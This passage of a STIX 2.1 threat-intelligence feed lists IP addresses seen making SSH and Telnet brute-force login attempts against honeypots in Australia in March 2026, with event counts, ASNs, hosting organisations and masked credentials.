      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.35.146.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t****r, ***. Passwords observed (masked): t****r, ***.",
      "id": "indicator--e6149e08-2fcd-4bce-95d7-5a7531b380e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.188.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--cabfd4cd-52d8-44ef-b1a5-1b82e60414f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.225.60.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--aad7b41f-2d95-4ce7-b7e3-4c352619ce2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.15.136.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1*****+, 3***********4, A*********3, B********3, Z*******3.",
      "id": "indicator--e5948ac9-a46d-4642-ae54-4f9182418a53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.186.17.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****0, 1*******E, C******3.",
      "id": "indicator--6fdfd6a1-b6f5-4f3b-ac60-2fd24165b1bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.197.107.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1******7, 1****8, B********3, a*********8.",
      "id": "indicator--40396f8e-f624-4962-9d64-347c615b2f86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.253.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 2******5, B********3, q****c.",
      "id": "indicator--96fa42ec-452c-408e-afe0-60576622e7a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.191.178.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****9, 1*********@, 3***********4, 3**********4, 9******/.",
      "id": "indicator--ce7574c2-4a65-4aaf-abf3-af0922354f56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.254.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********z, A********@, A********#.",
      "id": "indicator--501619c8-f309-4453-bf4d-8e76a9a1c223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.190.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): S********************d.",
      "id": "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**************8, 1*******!, 3***********4, 3**********4, A*******6.",
      "id": "indicator--56bbc167-1dde-4818-9547-a289787d1c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.128.190.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2******5, 3***********4, 3**********4, P*******1, q*******5.",
      "id": "indicator--928d2880-a6e2-4009-a5b3-5f5f1b045a19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.97.48.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:15:14.000Z",
      "valid_until": "2026-04-06T06:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 171. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, u****u, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, **, A*************3, A*****5.",
      "id": "indicator--a85679a2-5baa-446c-94d9-75b247a44055",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140641. Organisation(s): YOTTA NETWORK SERVICES PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********#, 1********$, 2******#.",
      "id": "indicator--592da9bb-a5cf-47cf-b48a-0fb3fd1f7050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.91.246.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--1c83b145-fdd0-490e-9d5c-88a97985acb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.253.166.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 2*******#.",
      "id": "indicator--8d3b8961-f683-46ba-b654-37cd57d944f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.130.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 171. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*************3, A*****5, A**********9.",
      "id": "indicator--074c6f15-646d-4405-99d0-f73b65d772b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.36.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HN. ASN(s): 262234. Organisation(s): ASOCIACION DE SERVICIO DE INTERNET S. DE RL.. Usernames observed (masked): r**t. Passwords observed (masked): q******2.",
      "id": "indicator--03ca89fe-18c0-4af5-92cd-f03d44b75898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.49.115.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:15:14.000Z",
      "valid_until": "2026-04-06T07:15:12.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): s*******1.",
      "id": "indicator--4e25481e-a736-4e53-a299-c919f276e950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.184.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213873. Organisation(s): MOJI SAS. Usernames observed (masked): ***. Passwords observed (masked): 3*******i.",
      "id": "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.55.81.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--264f1018-f5f0-4b36-a63a-01b9a1935c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--a26e72b3-871d-4ce5-9a86-db653a6d0429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.57.33.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--849aea33-e062-4447-b43f-e24b9638dc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.180.4.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T08:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA. Usernames observed (masked): u****u, u**r. Passwords observed (masked): @***3, A*********#, a*******1.",
      "id": "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T08:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.142.46.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:15:18.000Z",
      "valid_until": "2026-04-06T08:15:11.000Z"
    },
    {
      "created": "2026-03-05T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): f********r. Passwords observed (masked): f********r.",
      "id": "indicator--fc7c01e9-5fe5-4cf8-ae44-52c6d9243178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.80.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T09:15:14.000Z",
      "valid_until": "2026-04-06T09:15:12.000Z"
    },
    {
      "created": "2026-03-05T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********#, 3***********4, 3**********4, H******@, L*******!.",
      "id": "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.206.241.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T09:15:14.000Z",
      "valid_until": "2026-04-06T09:15:12.000Z"
    },
    {
      "created": "2026-03-05T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--7cd80d7b-0e26-49de-9801-7dec5e7dfbbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.59.42.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T09:15:14.000Z",
      "valid_until": "2026-04-06T09:15:12.000Z"
    },
    {
      "created": "2026-03-05T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--335d5ad5-a375-487e-b4b7-c4faaba14b49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.190.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T09:15:14.000Z",
      "valid_until": "2026-04-06T09:15:12.000Z"
    },
    {
      "created": "2026-03-05T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--e226f0d0-6e18-4202-8507-8b25152b66a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.224.132.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T09:15:14.000Z",
      "valid_until": "2026-04-06T09:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): u****u, 3**********4, a***n, r**t. Passwords observed (masked): 3***********4, 3**********4, 1*******@, @******6, A*****6.",
      "id": "indicator--c38fd536-08a7-4258-ade7-4483b61bb35d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.88.137.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c9e33822-f3e2-436f-a181-768be2a6480b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.134.96.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 399077. Organisation(s): Tcloudnet. Usernames observed (masked): r**t, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******8, A*******@, A*****5.",
      "id": "indicator--54a59b85-6aa3-4eb5-999d-ce0abce2696d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.82.111.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 263. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 263238. Organisation(s): Eliana Vanessa Morocho Ona. Usernames observed (masked): r**t, 3**********4, u****u, a***n, t**t. Passwords observed (masked): 3***********4, 3**********4, A***********2, A*******8, A******O.",
      "id": "indicator--ce9c5a8b-c22a-4cac-96b8-1241dce92634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.53.215.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
